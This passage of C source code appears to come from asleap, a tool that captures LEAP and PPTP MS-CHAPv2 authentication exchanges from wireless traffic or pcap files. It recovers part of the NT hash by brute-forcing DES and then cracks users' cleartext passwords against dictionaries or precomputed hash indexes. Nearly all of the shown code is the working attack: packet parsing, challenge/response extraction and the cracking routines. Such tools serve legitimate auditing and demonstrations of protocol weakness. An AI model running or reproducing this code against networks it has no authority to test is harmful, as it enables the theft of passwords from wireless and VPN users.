*asleap_ptr); 77 | void print_hashlast2(struct asleap_data *asleap_ptr); 78 | void print_leappw(struct asleap_data *asleap_ptr); 79 | int gethashlast2(struct asleap_data *asleap_ptr); 80 | int getmschappw(struct asleap_data *asleap_ptr); 81 | int getpacket(pcap_t *p); 82 | int listdevs(); 83 | int testleapchal(struct asleap_data *asleap_ptr, int plen, int offset); 84 | int testleapsuccess(struct asleap_data *asleap_ptr, int plen, int offset); 85 | int testleapresp(struct asleap_data *asleap_ptr, int plen, int offset); 86 | int findlpexch(struct asleap_data *asleap_ptr, int timeout, int offset); 87 | void asleap_reset(struct asleap_data *asleap); 88 | int stripname(char *name, char *stripname, int snamelen, char delim); 89 | int attack_leap(struct asleap_data *asleap); 90 | int attack_pptp(struct asleap_data *asleap); 91 | int testpptpchal(struct asleap_data *asleap_ptr, int plen, int offset); 92 | int testpptpresp(struct asleap_data *asleap_ptr, int plen, int offset); 93 | int testpptpsuccess(struct asleap_data *asleap_ptr, int plen, int offset); 94 | void genchalhash(struct asleap_data *asleap); 95 | 96 | 97 | int stripname(char *name, char *stripname, int snamelen, char delim) 98 | { 99 | char *loc; 100 | 101 | if (name == NULL) 102 | return -1; 103 | 104 | loc = strchr(name, delim); 105 | if (loc == NULL) { 106 | strncpy(stripname, name, snamelen); 107 | return (1); 108 | } else { 109 | ++loc; 110 | strncpy(stripname, loc, snamelen); 111 | return (0); 112 | } 113 | } 114 | 115 | /* Program usage. */ 116 | void usage(char *message) 117 | { 118 | 119 | if (strlen(message) > 0) { 120 | printf("%s: %s\n", PROGNAME, message); 121 | } 122 | 123 | printf("Usage: %s [options]\n", PROGNAME); 124 | printf("\n" 125 | "\t-r \tRead from a libpcap file\n" 126 | "\t-i \tInterface to capture on\n" 127 | "\t-f \tDictionary file with NT hashes\n" 128 | "\t-n \tIndex file for NT hashes\n" 129 | "\t-s \tSkip the check to make sure authentication was successful\n" 130 | "\t-h \tOutput this help information and exit\n" 131 | "\t-v \tPrint verbose information (more -v for more verbosity)\n" 132 | "\t-V \tPrint program version and exit\n" 133 | "\t-C \tChallenge value in colon-delimited bytes\n" 134 | "\t-R \tResponse value in colon-delimited bytes\n" 135 | "\t-W \tASCII dictionary file (special purpose)\n" "\n"); 136 | } 137 | 138 | void print_pptpexch(struct asleap_data *asleap_ptr) 139 | { 140 | 141 | int j; 142 | 143 | printf("\tusername: "); 144 | if (IsBlank(asleap_ptr->username)) { 145 | printf("no username"); 146 | } else { 147 | printf("%s\n", asleap_ptr->username); 148 | } 149 | 150 | printf("\tauth challenge: "); 151 | for (j = 0; j < 16; j++) { 152 | printf("%02x", asleap_ptr->pptpauthchal[j]); 153 | } 154 | printf("\n"); 155 | 156 | printf("\tpeer challenge: "); 157 | for (j = 0; j < 16; j++) { 158 | printf("%02x", asleap_ptr->pptppeerchal[j]); 159 | } 160 | printf("\n"); 161 | 162 | printf("\tpeer response: "); 163 | for (j = 0; j < 24; j++) { 164 | printf("%02x", asleap_ptr->response[j]); 165 | } 166 | printf("\n"); 167 | 168 | } 169 | 170 | void print_leapexch(struct asleap_data *asleap_ptr) 171 | { 172 | 173 | int j; 174 | 175 | printf("\tusername: "); 176 | if (IsBlank(asleap_ptr->username)) { 177 | printf("no username"); 178 | } else { 179 | printf("%s\n", asleap_ptr->username); 180 | } 181 | 182 | printf("\tchallenge: "); 183 | for (j = 0; j < 8; j++) { 184 | printf("%02x", asleap_ptr->challenge[j]); 185 | } 186 | printf("\n"); 187 | 188 | printf("\tresponse: "); 189 | for (j = 0; j < 24; j++) { 190 | printf("%02x", asleap_ptr->response[j]); 191 | } 192 | printf("\n"); 193 | 194 | } 195 | 196 | void print_hashlast2(struct asleap_data *asleap_ptr) 197 | { 198 | 199 | printf("\thash bytes: "); 200 | if (asleap_ptr->endofhash[0] == 0 && asleap_ptr->endofhash[1] == 0) { 201 | printf("no NT hash ending known."); 202 | } else { 203 | printf("%02x%02x", asleap_ptr->endofhash[0], 204 | asleap_ptr->endofhash[1]); 205 | } 206 | printf("\n"); 207 | 208 | } 209 | 210 | void print_leappw(struct asleap_data *asleap_ptr) 211 | { 212 | 213 | int j; 214 | 215 | printf("\tNT hash: "); 216 | /* Test the first 4 bytes of the NT hash for 0's. A nthash with 4 217 | leading 0's is unlikely, a match indicates a unused field */ 218 | if (asleap_ptr->nthash[0] == 0 && asleap_ptr->nthash[1] == 0 && 219 | asleap_ptr->nthash[2] == 0 && asleap_ptr->nthash[3] == 0) { 220 | printf("no matching NT hash was found."); 221 | } else { 222 | for (j = 0; j < 16; j++) { 223 | printf("%02x", asleap_ptr->nthash[j]); 224 | } 225 | } 226 | printf("\n"); 227 | 228 | printf("\tpassword: "); 229 | if (IsBlank(asleap_ptr->password)) { 230 | printf("no matching password was found."); 231 | } else { 232 | printf("%s", asleap_ptr->password); 233 | } 234 | printf("\n"); 235 | 236 | } 237 | 238 | void cleanup() 239 | { 240 | 241 | if (p != NULL) { 242 | printf("Closing pcap ...\n"); 243 | pcap_close(p); 244 | } 245 | 246 | if (success == 1) { 247 | exit(0); 248 | } else { 249 | exit(-1); 250 | } 251 | } 252 | 253 | int gethashlast2(struct asleap_data *asleap_ptr) 254 | { 255 | 256 | int i; 257 | unsigned char zpwhash[7] = { 0, 0, 0, 0, 0, 0, 0 }; 258 | unsigned char cipher[8]; 259 | 260 | for (i = 0; i <= 0xffff; i++) { 261 | zpwhash[0] = i >> 8; 262 | zpwhash[1] = i & 0xff; 263 | 264 | DesEncrypt(asleap_ptr->challenge, zpwhash, cipher); 265 | if (memcmp(cipher, asleap_ptr->response + 16, 8) == 0) { 266 | /* Success in calculating the last 2 of the hash */ 267 | /* debug - printf("%2x%2x\n", zpwhash[0], zpwhash[1]); */ 268 | asleap_ptr->endofhash[0] = zpwhash[0]; 269 | asleap_ptr->endofhash[1] = zpwhash[1]; 270 | return 0; 271 | } 272 | } 273 | 274 | return (1); 275 | } 276 | 277 | /* Accepts the populated asleap_data structure with the challenge and 278 | response text, and our guess at the full 16-byte hash (zpwhash). Returns 1 279 | if the hash does not match, 0 if it does match. */ 280 | int testchal(struct asleap_data *asleap_ptr, unsigned char *zpwhash) 281 | { 282 | 283 | unsigned char cipher[8]; 284 | 285 | DesEncrypt(asleap_ptr->challenge, zpwhash, cipher); 286 | if (memcmp(cipher, asleap_ptr->response, 8) != 0) 287 | return (1); 288 | 289 | DesEncrypt(asleap_ptr->challenge, zpwhash + 7, cipher); 290 | if (memcmp(cipher, asleap_ptr->response + 8, 8) != 0) 291 | return (1); 292 | 293 | /* else - we have a match */ 294 | return (0); 295 | } 296 | 297 | /* Use a supplied dictionary file instead of the hash table and index file */ 298 | int getmschapbrute(struct asleap_data *asleap_ptr) 299 | { 300 | 301 | FILE *wordlist; 302 | char password[MAX_NT_PASSWORD + 1]; 303 | unsigned char pwhash[MD4_SIGNATURE_SIZE]; 304 | unsigned long long count = 0; 305 | 306 | if (*asleap_ptr->wordfile == '-') { 307 | wordlist = stdin; 308 | } else { 309 | if ((wordlist = fopen(asleap_ptr->wordfile, "rb")) == NULL) { 310 | perror("fopen"); 311 | return -1; 312 | } 313 | } 314 | 315 | while (!feof(wordlist)) { 316 | 317 | fgets(password, MAX_NT_PASSWORD + 1, wordlist); 318 | /* Remove newline */ 319 | password[strlen(password) - 1] = 0; 320 | 321 | NtPasswordHash(password, strlen(password), pwhash); 322 | 323 | count++; 324 | if ((count % 500000) == 0) { 325 | printf("\033[K\r"); 326 | printf(" Testing %lld: %s\r", count, password); 327 | fflush(stdout); 328 | } 329 | 330 | if (pwhash[14] != asleap_ptr->endofhash[0] || 331 | pwhash[15] != asleap_ptr->endofhash[1]) 332 | continue; 333 | 334 | if (testchal(asleap_ptr, pwhash) == 0) { 335 | /* Found a matching password! w00t! */ 336 | memcpy(asleap_ptr->nthash, pwhash, 16); 337 | strncpy(asleap_ptr->password, password, 338 | strlen(password)); 339 | fclose(wordlist); 340 | return (1); 341 | } 342 | } 343 | return 0; 344 | } 345 | 346 | /* Brute-force all the matching NT hashes to discover the clear-text password */ 347 | int getmschappw(struct asleap_data *asleap_ptr) 348 | { 349 | 350 | unsigned char zpwhash[16] = 351 | { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; 352 | struct hashpass_rec rec; 353 | struct hashpassidx_rec idxrec; 354 | char password_buf[MAX_NT_PASSWORD]; 355 | int passlen, recordlength, passwordlen, i; 356 | FILE *buffp, *idxfp; 357 | 358 | /* If the user passed an index file for our reference, fseek to 359 | map the file and perform lookups based on indexed offsets. 360 | If there is no index file, perform a linear search. 361 | */ 362 | 363 | if (IsBlank(asleap_ptr->dictidx)) { 364 | 365 | /* We have no index file. Do a linear search */ 366 | if ((buffp = fopen(asleap_ptr->dictfile, "rb")) == NULL) { 367 | perror("[getmschappw] fopen"); 368 | return (-1); 369 | } 370 | 371 | fflush(stdout); 372 | while (!feof(buffp)) { 373 | 374 | memset(&rec, 0, sizeof(rec)); 375 | memset(&password_buf, 0, sizeof(password_buf)); 376 | memset(&zpwhash, 0, sizeof(zpwhash)); 377 | fread(&rec.rec_size, sizeof(rec.rec_size), 1, buffp); 378 | recordlength = rec.rec_size; 379 | passlen = (recordlength - (17)); 380 | fread(&password_buf, passlen, 1, buffp); 381 | fread(&zpwhash, 16, 1, buffp); 382 | 383 | /* Test last 2 characters of NT hash value of the current entry in the 384 | dictionary file. If the 2 bytes of the NT hash don't 385 | match the calculated value that we store in asleap.endofhash, then 386 | this NT hash isn't a potential match. Move on to the next entry. */ 387 | if (zpwhash[14] != asleap_ptr->endofhash[0] || 388 | zpwhash[15] != asleap_ptr->endofhash[1]) { 389 | /* last 2 bytes of hash don't match - continue */ 390 | continue; 391 | } 392 | 393 | /* With a potential match, test with this challenge */ 394 | if (testchal(asleap_ptr, zpwhash) == 0) { 395 | /* Found a matching password! Store in the asleap_ptr struct */ 396 | memcpy(asleap_ptr->nthash, zpwhash, 16); 397 | strncpy(asleap_ptr->password, password_buf, 398 | strlen(password_buf)); 399 | fclose(buffp); 400 | return (1); 401 | } 402 | } 403 | 404 | /* Could not find a matching NT hash */ 405 | fclose(buffp); 406 | 407 | } else { /* Use referenced index file for hash searches */ 408 | 409 | memset(&idxrec, 0, sizeof(idxrec)); 410 | 411 | if ((idxfp = fopen(asleap_ptr->dictidx, "rb")) == NULL) { 412 | perror("[getmschappw] Cannot open index file"); 413 | return (-1); 414 | } 415 | 416 | /* Open the file with a buffered file handle */ 417 | if ((buffp = fopen(asleap_ptr->dictfile, "rb")) == NULL) { 418 | perror("[getmschappw] fopen"); 419 | return (-1); 420 | } 421 | 422 | /* Read through the index file until we find the entry that matches 423 | our hash information */ 424 | while (idxrec.hashkey[0] != asleap_ptr->endofhash[0] || 425 | idxrec.hashkey[1] != asleap_ptr->endofhash[1]) { 426 | 427 | if (fread(&idxrec, sizeof(idxrec), 1, idxfp) != 1) { 428 | /* Unsuccessful fread, or EOF */ 429 | printf("\tReached end of index file.\n"); 430 | fclose(idxfp); 431 | fclose(buffp); 432 | return (0); 433 | 434 | } 435 | } 436 | 437 | /* The offset entry in the idxrec struct points to the first 438 | hash+pass record in the hash+pass file that matches our offset. The 439 | idxrec struct also tells us how many entries we can read from the 440 | hash+pass file that match our hashkey information. Collect records 441 | from the hash+pass file until we read through the number of records 442 | in idxrec.numrec */ 443 | 444 | /* fseek to the correct offset in the file */ 445 | if (fseeko(buffp, idxrec.offset, SEEK_SET) < 0) { 446 | perror("[getmschappw] fread"); 447 | fclose(buffp); 448 | fclose(idxfp); 449 | return (-1); 450 | } 451 | 452 | for (i = 0; i < idxrec.numrec; i++) { 453 | 454 | memset(&rec, 0, sizeof(rec)); 455 | memset(&password_buf, 0, sizeof(password_buf)); 456 | fread(&rec.rec_size, sizeof(rec.rec_size), 1, buffp); 457 | 458 | /* The length of the password is the record size, 16 for the hash, 459 | 1 for the record length byte. */ 460 | passwordlen = rec.rec_size - 17; 461 | 462 | /* Check for corrupt data conditions, prevent segfault */ 463 | if (passwordlen > MAX_NT_PASSWORD) { 464 | fprintf(stderr, 465 | "Reported password length (%d) is longer than " 466 | "the max password length (%d).\n", 467 | passwordlen, MAX_NT_PASSWORD); 468 | return (-1); 469 | } 470 | 471 | /* Gather the clear-text password from the dict+hash file, 472 | then grab the 16 byte hash */ 473 | fread(&password_buf, passwordlen, 1, buffp); 474 | fread(&zpwhash, sizeof(zpwhash), 1, buffp); 475 | 476 | /* Test the challenge and compare to our hash */ 477 | if (testchal(asleap_ptr, zpwhash) == 0) { 478 | /* Found a matching password! Store in the asleap_ptr struct */ 479 | memcpy(asleap_ptr->nthash, zpwhash, 16); 480 | strncpy(asleap_ptr->password, password_buf, 481 | strlen(password_buf)); 482 | fclose(buffp); 483 | fclose(idxfp); 484 | /* success */ 485 | return (1); 486 | } 487 | 488 | } 489 | 490 | /* Could not find a match - bummer */ 491 | fclose(buffp); 492 | fclose(idxfp); 493 | 494 | } 495 | 496 | return (0); 497 | 498 | } 499 | 500 | 501 | /* Examine the packet contents of packet, return an offset number of bytes to 502 | the beginning of the EAP frame contents, if present, otherwise return -1 */ 503 | int geteapoffset(u_char *packet, int plen, int offset) 504 | { 505 | struct ieee80211 *dot11; 506 | struct ieee8022 *dot2; 507 | struct ieee8021x *dot1x; 508 | struct eap_hdr *eap; 509 | 510 | dot11 = (struct ieee80211 *)(packet+offset); 511 | offset += DOT11HDR_A3_LEN; 512 | plen -= DOT11HDR_A3_LEN; 513 | 514 | if (plen <= 0) { 515 | return -1; 516 | } 517 | 518 | /* Discard ad-hoc and WDS */ 519 | if (dot11->u1.fc.from_ds == 1 && dot11->u1.fc.to_ds == 1) { 520 | return -1; 521 | } 522 | 523 | if (dot11->u1.fc.from_ds == 0 && dot11->u1.fc.to_ds == 0) { 524 | return -1; 525 | } 526 | 527 | if (dot11->u1.fc.type != DOT11_FC_TYPE_DATA) { 528 | return -1; 529 | } 530 | 531 | /* Ensure valid data type */ 532 | switch(dot11->u1.fc.subtype) { 533 | case DOT11_FC_SUBTYPE_DATA: 534 | break; 535 | case DOT11_FC_SUBTYPE_QOSDATA: 536 | offset += DOT11HDR_QOS_LEN; 537 | plen -= DOT11HDR_QOS_LEN; 538 | break; 539 | default: 540 | return -1; 541 | } 542 | 543 | if (plen <= 0) { 544 | return -1; 545 | } 546 | 547 | dot2 = (struct ieee8022 *)(packet+offset); 548 | offset += DOT2HDR_LEN; 549 | plen -= DOT2HDR_LEN; 550 | 551 | if (plen <= 0) { 552 | return -1; 553 | } 554 | 555 | if (dot2->dsap != IEEE8022_SNAP || dot2->ssap != IEEE8022_SNAP) { 556 | return -1; 557 | } 558 | 559 | if (ntohs(dot2->type) != IEEE8022_TYPE_DOT1X) { 560 | return -1; 561 | } 562 | 563 | dot1x = (struct ieee8021x *)(packet+offset); 564 | offset += DOT1XHDR_LEN; 565 | plen -= DOT1XHDR_LEN; 566 | 567 | if (plen <= 0) { 568 | return -1; 569 | } 570 | 571 | if (dot1x->version != DOT1X_VERSION) { 572 | return -1; 573 | } 574 | 575 | if (dot1x->type != DOT1X_TYPE_EAP) { 576 | return -1; 577 | } 578 | 579 | /* If the dot1x length field is larger than the remaining packet 580 | * contents, bail. 581 | */ 582 | if (ntohs(dot1x->len) > (plen)) { 583 | return -1; 584 | } 585 | 586 | /* If the dot1x length field is smaller than the minimum EAP header 587 | * size, bail. 588 | */ 589 | if (ntohs(dot1x->len) < EAPHDR_MIN_LEN) { 590 | return -1; 591 | } 592 | 593 | eap = (struct eap_hdr *)(packet + offset); 594 | plen -= EAPHDR_MIN_LEN; 595 | /* don't update poffset as we want to point to begining of EAP header */ 596 | 597 | if (plen < 0) { 598 | return -1; 599 | } 600 | 601 | /* 1=request, 2=response, 3=success, 4=failure */ 602 | if (eap->code < 1 || eap->code > 4) { 603 | return -1; 604 | } 605 | 606 | /* EAP packet, return with offset to beginning of EAP data */ 607 | return offset; 608 | } 609 | 610 | /* Examine the packet contents of packet, return an offset number of bytes to 611 | the beginning of the EAP frame contents, if present, otherwise return -1 */ 612 | int getpppchapoffset(u_char *packet, int plen, int offset) 613 | { 614 | struct ieee80211 *dot11; 615 | struct ieee8022 *dot2; 616 | struct iphdr *ip; 617 | struct grehdr *gre; 618 | struct ppphdr *ppp; 619 | int iphdrlen; 620 | 621 | dot11 = (struct ieee80211 *)(packet+offset); 622 | offset += DOT11HDR_A3_LEN; 623 | plen -= DOT11HDR_A3_LEN; 624 | 625 | if (plen <= 0) { 626 | return -1; 627 | } 628 | 629 | /* Discard ad-hoc and WDS */ 630 | if (dot11->u1.fc.from_ds == 1 && dot11->u1.fc.to_ds == 1) { 631 | return -1; 632 | } 633 | 634 | if (dot11->u1.fc.from_ds == 0 && dot11->u1.fc.to_ds == 0) { 635 | return -1; 636 | } 637 | 638 | if (dot11->u1.fc.type != DOT11_FC_TYPE_DATA) { 639 | return -1; 640 | } 641 | 642 | /* Ensure valid data type */ 643 | switch(dot11->u1.fc.subtype) { 644 | case DOT11_FC_SUBTYPE_DATA: 645 | break; 646 | case DOT11_FC_SUBTYPE_QOSDATA: 647 | offset += DOT11HDR_QOS_LEN; 648 | plen -= DOT11HDR_QOS_LEN; 649 | break; 650 | default: 651 | return -1; 652 | } 653 | 654 | if (plen <= 0) { 655 | return -1; 656 | } 657 | 658 | 659 | /* IEEE 802.2 header parsing */ 660 | 661 | dot2 = (struct ieee8022 *)(packet+offset); 662 | offset += DOT2HDR_LEN; 663 | plen -= DOT2HDR_LEN; 664 | 665 | if (plen <= 0) { 666 | return -1; 667 | } 668 | 669 | if (dot2->dsap != IEEE8022_SNAP || dot2->ssap != IEEE8022_SNAP) { 670 | return -1; 671 | } 672 | 673 | if (ntohs(dot2->type) != IEEE8022_TYPE_IP) { 674 | return -1; 675 | } 676 | 677 | 678 | /* IP Header parsing */ 679 | 680 | /* Test for at least 4 bytes in IP header for HDR LEN */ 681 | if (plen < 4) { 682 | return -1; 683 | } 684 | 685 | ip = (struct iphdr *)(packet + offset); 686 | 687 | /* Header length is represented in 32-bit words */ 688 | iphdrlen = ((ip->ver_hlen & 0x0f) * 4); 689 | 690 | if (iphdrlen < IPHDR_MIN_LEN || iphdrlen > IPHDR_MAX_LEN) { 691 | return -1; 692 | } 693 | 694 | offset += iphdrlen; 695 | plen -= iphdrlen; 696 | 697 | if (ip->proto != IPPROTO_GRE) { 698 | return -1; 699 | } 700 | 701 | 702 | /* GRE Header parsing */ 703 | 704 | gre = (struct grehdr *)(packet+offset); 705 | offset += GREHDR_MIN_LEN; 706 | plen -= GREHDR_MIN_LEN; 707 | 708 | if (plen < 0) { 709 | return -1; 710 | } 711 | 712 | if (ntohs(gre->type) != GREPROTO_PPP) { 713 | return -1; 714 | } 715 | 716 | /* Length of the GRE header is variable based on the flags field 717 | settings for sequence and ack numbers. */ 718 | if (gre->flags & GRE_FLAG_SYNSET) { 719 | plen -= 4; 720 | offset += 4; 721 | } 722 | if (gre->flags & GRE_FLAG_ACKSET) { 723 | plen -= 4; 724 | offset += 4; 725 | } 726 | 727 | 728 | /* PPP Header parsing */ 729 | 730 | ppp = (struct ppphdr *)(packet+offset); 731 | offset += PPPHDR_LEN; 732 | plen -= PPPHDR_LEN; 733 | 734 | if (plen <= 0) { 735 | return -1; 736 | } 737 | 738 | if (ntohs(ppp->proto) != PPPPROTO_CHAP) { 739 | return -1; 740 | } 741 | 742 | 743 | /* PPP CHAP Header follows */ 744 | return offset; 745 | 746 | } 747 | 748 | int findlpexch(struct asleap_data *asleap_ptr, int timeout, int offset) 749 | { 750 | 751 | struct timeval then, now; 752 | int epochstart, elapsed, n, len; 753 | int chapoffset, leapoffset; 754 | 755 | gettimeofday(&then, NULL); 756 | epochstart = ((then.tv_sec * 1000000) + then.tv_usec); 757 | 758 | /* Start a while() loop that ends only when the timeout duration is 759 | exceeded, or LEAP credentials are discovered. */ 760 | while (1) { 761 | 762 | if ((asleap_ptr->leapchalfound && asleap_ptr->leaprespfound && 763 | asleap_ptr->leapsuccessfound)) 764 | return LEAPEXCHFOUND; 765 | 766 | if ((asleap_ptr->pptpchalfound && asleap_ptr->pptprespfound && 767 | asleap_ptr->pptpsuccessfound)) 768 | return PPTPEXCHFOUND; 769 | 770 | /* Test for out timeout condition */ 771 | if (timeout != 0) { 772 | gettimeofday(&now, NULL); 773 | /* Get elapsed time, in seconds */ 774 | elapsed = 775 | ((((now.tv_sec * 1000000) + now.tv_usec) - 776 | epochstart) / 1000000); 777 | if (elapsed > timeout) 778 | return LPEXCH_TIMEOUT; 779 | } 780 | 781 | /* Obtain a packet for analysis */ 782 | n = getpacket(p); 783 | len = (h.len - offset); 784 | 785 | /* Test to make sure we got something interesting */ 786 | if (n < 0) { 787 | continue; 788 | } else if (n == 1) { 789 | if (asleap_ptr->verbose) 790 | printf("Reached EOF on pcapfile.\n"); 791 | cleanup(); /* exits */ 792 | } 793 | 794 | if (packet == NULL) { 795 | continue; 796 | } 797 | 798 | if (asleap_ptr->verbose > 2) { 799 | lamont_hdump((packet + offset), h.len - offset); 800 | printf("\n"); 801 | } 802 | 803 | /* Start new packet parser here */ 804 | 805 | 806 | leapoffset = geteapoffset(packet, len, offset); 807 | if (leapoffset > 0) { 808 | 809 | len -= leapoffset; 810 | 811 | if (asleap_ptr->leapchalfound == 0 812 | && asleap_ptr->leaprespfound == 0) { 813 | if (testleapchal(asleap_ptr, len, leapoffset) 814 | == 0) { 815 | asleap_ptr->leapchalfound = 1; 816 | continue; 817 | } 818 | } 819 | 820 | if (asleap_ptr->leapchalfound == 1 821 | && asleap_ptr->leaprespfound == 0) { 822 | if (testleapresp(asleap_ptr, len, leapoffset) 823 | == 0) { 824 | asleap_ptr->leaprespfound = 1; 825 | continue; 826 | } 827 | } 828 | 829 | if (asleap_ptr->leapsuccessfound == 0 830 | && asleap_ptr->leapchalfound == 1 831 | && asleap_ptr->leaprespfound == 1) { 832 | if (asleap_ptr->skipeapsuccess) { 833 | asleap_ptr->leapsuccessfound = 1; 834 | continue; 835 | } else if (testleapsuccess(asleap_ptr, len, 836 | leapoffset) == 0) { 837 | asleap_ptr->leapsuccessfound = 1; 838 | continue; 839 | } 840 | } 841 | } 842 | 843 | chapoffset = getpppchapoffset(packet, len, offset); 844 | if (chapoffset > 0) { 845 | 846 | if (asleap_ptr->pptpchalfound == 0 847 | && asleap_ptr->pptprespfound == 0) { 848 | if (testpptpchal(asleap_ptr, len, chapoffset) 849 | == 0) { 850 | asleap_ptr->pptpchalfound = 1; 851 | continue; 852 | } 853 | } 854 | 855 | if (asleap_ptr->pptprespfound == 0 856 | && asleap_ptr->pptpchalfound == 1) { 857 | if (testpptpresp(asleap_ptr, len, chapoffset) 858 | == 0) { 859 | asleap_ptr->pptprespfound = 1; 860 | continue; 861 | } 862 | } 863 | 864 | if (asleap_ptr->pptpsuccessfound == 0 865 | && asleap_ptr->pptpchalfound == 1 866 | && asleap_ptr->pptprespfound == 1) { 867 | if (testpptpsuccess(asleap_ptr, len, 868 | chapoffset) == 0) { 869 | asleap_ptr->pptpsuccessfound = 1; 870 | continue; 871 | } 872 | } 873 | } 874 | 875 | } 876 | } 877 | 878 | void genchalhash(struct asleap_data *asleap) 879 | { 880 | 881 | SHA1_CTX context; 882 | unsigned char digest[SHA1_MAC_LEN]; 883 | char strippedname[256]; 884 | int j; 885 | 886 | /* RFC2759 indicates a username "BIGCO\johndoe" must be stripped to 887 | contain only the username for the purposes of generating the 8-byte 888 | challenge. Section 4, */ 889 | stripname(asleap->username, strippedname, sizeof(strippedname), '\\'); 890 | 891 | SHA1Init(&context); 892 | SHA1Update(&context, asleap->pptppeerchal, 16); 893 | SHA1Update(&context, asleap->pptpauthchal, 16); 894 | SHA1Update(&context, (uint8_t *)strippedname, strlen(strippedname)); 895 | SHA1Final(digest, &context); 896 | 897 | memcpy(&asleap->challenge, digest, 8); 898 | 899 | printf("\tchallenge: "); 900 | for (j = 0; j < 8; j++) 901 | printf("%02x", digest[j]); 902 | printf("\n"); 903 | } 904 | 905 | int attack_leap(struct asleap_data *asleap) 906 | { 907 | 908 | int getmschappwret = 0; 909 | 910 | if (asleap->verbose) 911 | printf("\tAttempting to recover last 2 of hash.\n"); 912 | 913 | if (gethashlast2(asleap)) { 914 | printf("\tCould not recover last 2 bytes of hash from the\n"); 915 | printf("\tchallenge/response. Sorry it didn't work out.\n"); 916 | asleap_reset(asleap); 917 | return -1; 918 | } else { 919 | print_hashlast2(asleap); 920 | } 921 | 922 | if (asleap->verbose) 923 | printf("\tStarting dictionary lookups.\n"); 924 | 925 | if (!IsBlank(asleap->wordfile)) { 926 | /* Attack MS-CHAP exchange with a straight dictionary list */ 927 | getmschappwret = getmschapbrute(asleap); 928 | } else { 929 | getmschappwret = getmschappw(asleap); 930 | } 931 | 932 | if (getmschappwret == 1) { 933 | /* Success! Print password and hash info */ 934 | print_leappw(asleap); 935 | return 0; 936 | } else if (getmschappwret == 0) { 937 | /* No matching hashes found */ 938 | printf("\tCould not find a matching NT hash. "); 939 | printf("Try expanding your password list.\n"); 940 | printf("\tI've given up. Sorry it didn't work out.\n"); 941 | return 1; 942 | } else { 943 | /* Received an error */ 944 | printf("Experienced an error in getmschappw, returned %d.\n", 945 | getmschappwret); 946 | return -1; 947 | } 948 | 949 | return -1; 950 | } 951 | 952 | int attack_pptp(struct asleap_data *asleap) 953 | { 954 | 955 | int getmschappwret = 0; 956 | 957 | if (asleap->verbose) 958 | printf("\tAttempting to recover last 2 of hash.\n"); 959 | 960 | /* Generate the 8-byte hash from the auth chal, peer chal and 961 | * login name */ 962 | genchalhash(asleap); 963 | 964 | if (gethashlast2(asleap)) { 965 | printf("\tCould not recover last 2 bytes of hash from the\n"); 966 | printf("\tchallenge/response. Sorry it didn't work out.\n"); 967 | asleap_reset(asleap); 968 | return -1; 969 | } else { 970 | print_hashlast2(asleap); 971 | } 972 | 973 | if (asleap->verbose) 974 | printf("\tStarting dictionary lookups.\n"); 975 | 976 | if (!IsBlank(asleap->wordfile)) { 977 | /* Attack MS-CHAP exchange with a straight dictionary list */ 978 | getmschappwret = getmschapbrute(asleap); 979 | } else { 980 | getmschappwret = getmschappw(asleap); 981 | } 982 | 983 | if (getmschappwret == 1) { 984 | /* Success! Print password and hash info */ 985 | print_leappw(asleap); 986 | return 0; 987 | } else if (getmschappwret == 0) { 988 | /* No matching hashes found */ 989 | printf("\tCould not find a matching NT hash. "); 990 | printf("Try expanding your password list.\n"); 991 | printf("\tI've given up. Sorry it didn't work out.\n"); 992 | return 1; 993 | } else { 994 | /* Received an error */ 995 | printf("Experienced an error in getmschappw, returned %d.\n", 996 | getmschappwret); 997 | return -1; 998 | } 999 | } 1000 | 1001 | int testpptpchal(struct asleap_data *asleap_ptr, int plen, int offset) 1002 | { 1003 | struct pppchaphdr *pppchap; 1004 | 1005 | pppchap = (struct pppchaphdr *)(packet+offset); 1006 | 1007 | if (pppchap->code != PPPCHAP_CHALLENGE) { 1008 | return -1; 1009 | } 1010 | 1011 | if (plen < PPPCHAPHDR_MIN_CHAL_LEN) { 1012 | return -1; 1013 | } 1014 | 1015 | /* Found the PPTP Challenge frame */ 1016 | if (asleap_ptr->verbose) { 1017 | printf("\n\nCaptured PPTP challenge:\n"); 1018 | lamont_hdump((packet+offset), h.len-offset); 1019 | printf("\n"); 1020 | } 1021 | 1022 | /* We have captured a PPTP challenge packet. Populate asleap, 1023 | then continue to collect traffic */ 1024 | memcpy(asleap_ptr->pptpauthchal, pppchap->u.chaldata.authchal, 1025 | sizeof(asleap_ptr->pptpauthchal)); 1026 | 1027 | return 0; 1028 | } 1029 | 1030 | int testpptpresp(struct asleap_data *asleap_ptr, int plen, int offset) 1031 | { 1032 | int usernamelen; 1033 | struct pppchaphdr *pppchap; 1034 | 1035 | pppchap = (struct pppchaphdr *)(packet+offset); 1036 | 1037 | if (pppchap->code != PPPCHAP_RESPONSE) { 1038 | return -1; 1039 | } 1040 | 1041 | if (plen < PPPCHAPHDR_MIN_RESP_LEN) { 1042 | return -1; 1043 | } 1044 | 1045 | 1046 | /* Found the PPTP Response frame */ 1047 | if (asleap_ptr->verbose) { 1048 | printf("\n\nCaptured PPTP response:\n"); 1049 | lamont_hdump((packet+offset), (h.len-offset)); 1050 | printf("\n"); 1051 | } 1052 | 1053 | memcpy(asleap_ptr->pptppeerchal, pppchap->u.respdata.peerchal, 16); 1054 | memcpy(asleap_ptr->response, pppchap->u.respdata.peerresp, 24); 1055 | 1056 | usernamelen = (ntohs(pppchap->length) - 1057 | (pppchap->u.respdata.datalen + 5)); 1058 | 1059 | if (usernamelen < sizeof(asleap_ptr->username)) { 1060 | memcpy(asleap_ptr->username, &pppchap->u.respdata.name, 1061 | usernamelen); 1062 | } else { 1063 | fprintf(stderr, "WARNING: reported username length exceeds RFC " 1064 | "specification.\n"); 1065 | return (-1); 1066 | } 1067 | 1068 | return 0; 1069 | } 1070 | 1071 | /* poffset is the beginning of the EAP data */ 1072 | int testleapchal(struct asleap_data *asleap_ptr, int plen, int offset) 1073 | { 1074 | 1075 | struct eap_hdr *eaph; 1076 | struct eap_leap_hdr *leaph; 1077 | 1078 | eaph = (struct eap_hdr *)(packet+offset); 1079 | 1080 | /* Use eaphdr packet length or entire packet length, whichever is 1081 | smaller. */ 1082 | plen = (ntohs(eaph->length) < plen) ? (ntohs(eaph->length)) : plen; 1083 | 1084 | plen -= EAPHDR_MIN_LEN; 1085 | offset += EAPHDR_MIN_LEN; 1086 | 1087 | if (plen < EAPLEAP_MIN_REQ_LEN) { 1088 | return -1; 1089 | } 1090 | 1091 | if (eaph->code != EAP_REQUEST) { 1092 | return -1; 1093 | } 1094 | 1095 | leaph = (struct eap_leap_hdr 